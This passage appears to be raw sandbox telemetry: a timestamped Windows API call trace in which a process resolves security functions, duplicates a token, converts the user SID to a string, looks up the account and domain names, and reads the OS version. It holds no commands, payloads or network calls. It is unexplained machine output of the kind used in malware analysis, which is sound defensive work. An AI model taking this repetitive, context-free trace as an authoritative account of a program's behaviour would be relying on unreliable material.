(hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0132.404] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0132.404] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0132.404] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0132.404] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0132.404] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0132.404] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0132.405] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0132.405] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0132.405] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0132.405] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0132.406] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0132.406] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0132.406] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0132.406] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0132.406] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0132.406] malloc (_Size=0x18) returned 0x2aef80 [0132.406] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0132.406] malloc (_Size=0x48) returned 0x2ad3b0 [0132.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1dec2f00, dwHighDateTime=0x1d8a92a)) [0132.407] SetEvent (hEvent=0x1f0) returned 1 [0132.412] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0132.412] GetLastError () returned 0x7a [0132.412] malloc (_Size=0x2c) returned 0x2ae2a0 [0132.412] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0132.412] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0132.412] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0132.412] malloc (_Size=0x1c) returned 0x2affa0 [0132.412] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0132.413] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0132.413] malloc (_Size=0x18) returned 0x2af000 [0132.413] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0132.413] malloc (_Size=0x18) returned 0x2aefa0 [0132.413] malloc (_Size=0x18) returned 0x2af0c0 [0132.413] SysStringLen (param_1="S-1-") returned 0x4 [0132.413] SysStringLen (param_1="5") returned 0x1 [0132.413] memcpy (in: _Dst=0x139748, _Src=0x139628, _Size=0xa | out: _Dst=0x139748) returned 0x139748 [0132.413] memcpy (in: _Dst=0x139750, _Src=0x139568, _Size=0x4 | out: _Dst=0x139750) returned 0x139750 [0132.413] free (_Block=0x2af000) [0132.413] free (_Block=0x2aefa0) [0132.413] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0132.413] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0132.413] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0132.413] malloc (_Size=0x18) returned 0x2aefa0 [0132.414] malloc (_Size=0x18) returned 0x2af000 [0132.414] SysStringLen (param_1="S-1-5") returned 0x5 [0132.414] SysStringLen (param_1="-") returned 0x1 [0132.414] memcpy (in: _Dst=0x139568, _Src=0x139748, _Size=0xc | out: _Dst=0x139568) returned 0x139568 [0132.414] memcpy (in: _Dst=0x139572, _Src=0x139628, _Size=0x4 | out: _Dst=0x139572) returned 0x139572 [0132.414] free (_Block=0x2af0c0) [0132.414] free (_Block=0x2aefa0) [0132.414] malloc (_Size=0x18) returned 0x2aefa0 [0132.414] malloc (_Size=0x18) returned 0x2af0c0 [0132.414] SysStringLen (param_1="S-1-5-") returned 0x6 [0132.414] SysStringLen (param_1="21") returned 0x2 [0132.414] memcpy (in: _Dst=0x139628, _Src=0x139568, _Size=0xe | out: _Dst=0x139628) returned 0x139628 [0132.414] memcpy (in: _Dst=0x139634, _Src=0x139748, _Size=0x6 | out: _Dst=0x139634) returned 0x139634 [0132.414] free (_Block=0x2af000) [0132.414] free (_Block=0x2aefa0) [0132.414] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0132.415] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0132.415] malloc (_Size=0x18) returned 0x2aefa0 [0132.415] malloc (_Size=0x18) returned 0x2af000 [0132.415] SysStringLen (param_1="S-1-5-21") returned 0x8 [0132.415] SysStringLen (param_1="-") returned 0x1 [0132.415] memcpy (in: _Dst=0x139748, _Src=0x139628, _Size=0x12 | out: _Dst=0x139748) returned 0x139748 [0132.415] memcpy (in: _Dst=0x139758, _Src=0x139568, _Size=0x4 | out: _Dst=0x139758) returned 0x139758 [0132.415] free (_Block=0x2af0c0) [0132.415] free (_Block=0x2aefa0) [0132.415] malloc (_Size=0x18) returned 0x2aefa0 [0132.415] malloc (_Size=0x18) returned 0x2af0c0 [0132.415] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0132.415] SysStringLen (param_1="4219442223") returned 0xa [0132.415] memcpy (in: _Dst=0x1179f8, _Src=0x139748, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0132.415] memcpy (in: _Dst=0x117a0a, _Src=0x139628, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0132.416] free (_Block=0x2af000) [0132.416] free (_Block=0x2aefa0) [0132.416] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0132.416] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0132.416] malloc (_Size=0x18) returned 0x2aefa0 [0132.416] malloc (_Size=0x18) returned 0x2af000 [0132.416] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0132.416] SysStringLen (param_1="-") returned 0x1 [0132.416] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0132.416] memcpy (in: _Dst=0x117a6e, _Src=0x139748, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0132.416] free (_Block=0x2af0c0) [0132.416] free (_Block=0x2aefa0) [0132.416] malloc (_Size=0x18) returned 0x2aefa0 [0132.416] malloc (_Size=0x18) returned 0x2af0c0 [0132.416] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0132.416] SysStringLen (param_1="4223814209") returned 0xa [0132.417] memcpy (in: _Dst=0x12d808, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0132.417] memcpy (in: _Dst=0x12d830, _Src=0x139748, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0132.417] free (_Block=0x2af000) [0132.417] free (_Block=0x2aefa0) [0132.417] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0132.417] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0132.417] malloc (_Size=0x18) returned 0x2aefa0 [0132.417] malloc (_Size=0x18) returned 0x2af000 [0132.417] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0132.417] SysStringLen (param_1="-") returned 0x1 [0132.417] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0132.417] memcpy (in: _Dst=0x12db74, _Src=0x139748, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0132.417] free (_Block=0x2af0c0) [0132.417] free (_Block=0x2aefa0) [0132.418] malloc (_Size=0x18) returned 0x2aefa0 [0132.418] malloc (_Size=0x18) returned 0x2af0c0 [0132.418] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0132.418] SysStringLen (param_1="3835049652") returned 0xa [0132.418] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0132.418] memcpy (in: _Dst=0x12d846, _Src=0x139748, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0132.418] free (_Block=0x2af000) [0132.418] free (_Block=0x2aefa0) [0132.418] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0132.418] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0132.418] malloc (_Size=0x18) returned 0x2aefa0 [0132.418] malloc (_Size=0x18) returned 0x2af000 [0132.418] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0132.419] SysStringLen (param_1="-") returned 0x1 [0132.419] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0132.419] memcpy (in: _Dst=0x12db8a, _Src=0x139748, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0132.419] free (_Block=0x2af0c0) [0132.419] free (_Block=0x2aefa0) [0132.419] malloc (_Size=0x18) returned 0x2aefa0 [0132.419] malloc (_Size=0x18) returned 0x2af0c0 [0132.419] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0132.419] SysStringLen (param_1="1000") returned 0x4 [0132.419] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0132.419] memcpy (in: _Dst=0x12d85c, _Src=0x139748, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0132.419] free (_Block=0x2af000) [0132.419] free (_Block=0x2aefa0) [0132.420] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0132.420] malloc (_Size=0x5e) returned 0x2b08a0 [0132.420] free (_Block=0x2af0c0) [0132.420] malloc (_Size=0x18) returned 0x2af0c0 [0132.420] free (_Block=0x2b08a0) [0132.420] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0132.421] GetLastError () returned 0x7a [0132.421] malloc (_Size=0x14) returned 0x2aefa0 [0132.421] malloc (_Size=0x16) returned 0x2af000 [0132.422] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca84, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0132.422] malloc (_Size=0x18) returned 0x2aefc0 [0132.422] malloc (_Size=0x18) returned 0x2af0e0 [0132.422] free (_Block=0x2aefa0) [0132.423] free (_Block=0x2af000) [0132.423] free (_Block=0x2affa0) [0132.423] free (_Block=0x2af0e0) [0132.423] free (_Block=0x2aefc0) [0132.423] free (_Block=0x2af0c0) [0132.424] free (_Block=0x2ae2a0) [0132.424] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0132.424] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0132.424] GetLastError () returned 0x7a [0132.424] malloc (_Size=0x2c) returned 0x2ae2e0 [0132.424] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0132.424] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0132.424] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0132.424] malloc (_Size=0x1c) returned 0x2affa0 [0132.424] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0132.424] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0132.424] malloc (_Size=0x18) returned 0x2af0c0 [0132.424] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0132.424] malloc (_Size=0x18) returned 0x2aefc0 [0132.425] malloc (_Size=0x18) returned 0x2af0e0 [0132.425] SysStringLen (param_1="S-1-") returned 0x4 [0132.425] SysStringLen (param_1="5") returned 0x1 [0132.425] memcpy (in: _Dst=0x139628, _Src=0x139568, _Size=0xa | out: _Dst=0x139628) returned 0x139628 [0132.425] memcpy (in: _Dst=0x139630, _Src=0x139748, _Size=0x4 | out: _Dst=0x139630) returned 0x139630 [0132.425] free (_Block=0x2af0c0) [0132.425] free (_Block=0x2aefc0) [0132.425] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0132.425] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0132.425] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0132.425] malloc (_Size=0x18) returned 0x2aefc0 [0132.425] malloc (_Size=0x18) returned 0x2af0c0 [0132.425] SysStringLen (param_1="S-1-5") returned 0x5 [0132.425] SysStringLen (param_1="-") returned 0x1 [0132.425] memcpy (in: _Dst=0x139748, _Src=0x139628, _Size=0xc | out: _Dst=0x139748) returned 0x139748 [0132.425] memcpy (in: _Dst=0x139752, _Src=0x139568, _Size=0x4 | out: _Dst=0x139752) returned 0x139752 [0132.425] free (_Block=0x2af0e0) [0132.425] free (_Block=0x2aefc0) [0132.425] malloc (_Size=0x18) returned 0x2aefc0 [0132.426] malloc (_Size=0x18) returned 0x2af0e0 [0132.426] SysStringLen (param_1="S-1-5-") returned 0x6 [0132.426] SysStringLen (param_1="21") returned 0x2 [0132.426] memcpy (in: _Dst=0x139568, _Src=0x139748, _Size=0xe | out: _Dst=0x139568) returned 0x139568 [0132.426] memcpy (in: _Dst=0x139574, _Src=0x139628, _Size=0x6 | out: _Dst=0x139574) returned 0x139574 [0132.426] free (_Block=0x2af0c0) [0132.426] free (_Block=0x2aefc0) [0132.426] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0132.426] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0132.426] malloc (_Size=0x18) returned 0x2aefc0 [0132.426] malloc (_Size=0x18) returned 0x2af0c0 [0132.426] SysStringLen (param_1="S-1-5-21") returned 0x8 [0132.426] SysStringLen (param_1="-") returned 0x1 [0132.426] memcpy (in: _Dst=0x139628, _Src=0x139568, _Size=0x12 | out: _Dst=0x139628) returned 0x139628 [0132.426] memcpy (in: _Dst=0x139638, _Src=0x139748, _Size=0x4 | out: _Dst=0x139638) returned 0x139638 [0132.426] free (_Block=0x2af0e0) [0132.426] free (_Block=0x2aefc0) [0132.427] malloc (_Size=0x18) returned 0x2aefc0 [0132.427] malloc (_Size=0x18) returned 0x2af0e0 [0132.427] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0132.427] SysStringLen (param_1="4219442223") returned 0xa [0132.427] memcpy (in: _Dst=0x1179f8, _Src=0x139628, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0132.427] memcpy (in: _Dst=0x117a0a, _Src=0x139568, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0132.427] free (_Block=0x2af0c0) [0132.427] free (_Block=0x2aefc0) [0132.427] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0132.427] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0132.427] malloc (_Size=0x18) returned 0x2aefc0 [0132.427] malloc (_Size=0x18) returned 0x2af0c0 [0132.427] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0132.427] SysStringLen (param_1="-") returned 0x1 [0132.428] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0132.428] memcpy (in: _Dst=0x117a6e, _Src=0x139628, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0132.428] free (_Block=0x2af0e0) [0132.428] free (_Block=0x2aefc0) [0132.428] malloc (_Size=0x18) returned 0x2aefc0 [0132.428] malloc (_Size=0x18) returned 0x2af0e0 [0132.428] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0132.428] SysStringLen (param_1="4223814209") returned 0xa [0132.428] memcpy (in: _Dst=0x12db38, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0132.428] memcpy (in: _Dst=0x12db60, _Src=0x139628, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0132.428] free (_Block=0x2af0c0) [0132.428] free (_Block=0x2aefc0) [0132.428] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0132.428] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0132.428] malloc (_Size=0x18) returned 0x2aefc0 [0132.428] malloc (_Size=0x18) returned 0x2af0c0 [0132.428] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0132.428] SysStringLen (param_1="-") returned 0x1 [0132.429] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0132.429] memcpy (in: _Dst=0x12d844, _Src=0x139628, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0132.429] free (_Block=0x2af0e0) [0132.429] free (_Block=0x2aefc0) [0132.429] malloc (_Size=0x18) returned 0x2aefc0 [0132.429] malloc (_Size=0x18) returned 0x2af0e0 [0132.429] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0132.429] SysStringLen (param_1="3835049652") returned 0xa [0132.429] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0132.429] memcpy (in: _Dst=0x12db76, _Src=0x139628, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0132.429] free (_Block=0x2af0c0) [0132.429] free (_Block=0x2aefc0) [0132.429] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0132.429] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0132.429] malloc (_Size=0x18) returned 0x2aefc0 [0132.429] malloc (_Size=0x18) returned 0x2af0c0 [0132.429] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0132.430] SysStringLen (param_1="-") returned 0x1 [0132.430] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0132.430] memcpy (in: _Dst=0x12d85a, _Src=0x139628, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0132.430] free (_Block=0x2af0e0) [0132.430] free (_Block=0x2aefc0) [0132.430] malloc (_Size=0x18) returned 0x2aefc0 [0132.430] malloc (_Size=0x18) returned 0x2af0e0 [0132.430] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0132.430] SysStringLen (param_1="1000") returned 0x4 [0132.430] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0132.430] memcpy (in: _Dst=0x12db8c, _Src=0x139628, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0132.430] free (_Block=0x2af0c0) [0132.430] free (_Block=0x2aefc0) [0132.430] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0132.430] malloc (_Size=0x5e) returned 0x2b08a0 [0132.431] free (_Block=0x2af0e0) [0132.431] malloc (_Size=0x18) returned 0x2af0e0 [0132.431] free (_Block=0x2b08a0) [0132.431] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0132.432] GetLastError () returned 0x7a [0132.432] malloc (_Size=0x14) returned 0x2aefc0 [0132.432] malloc (_Size=0x16) returned 0x2af0c0 [0132.432] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, 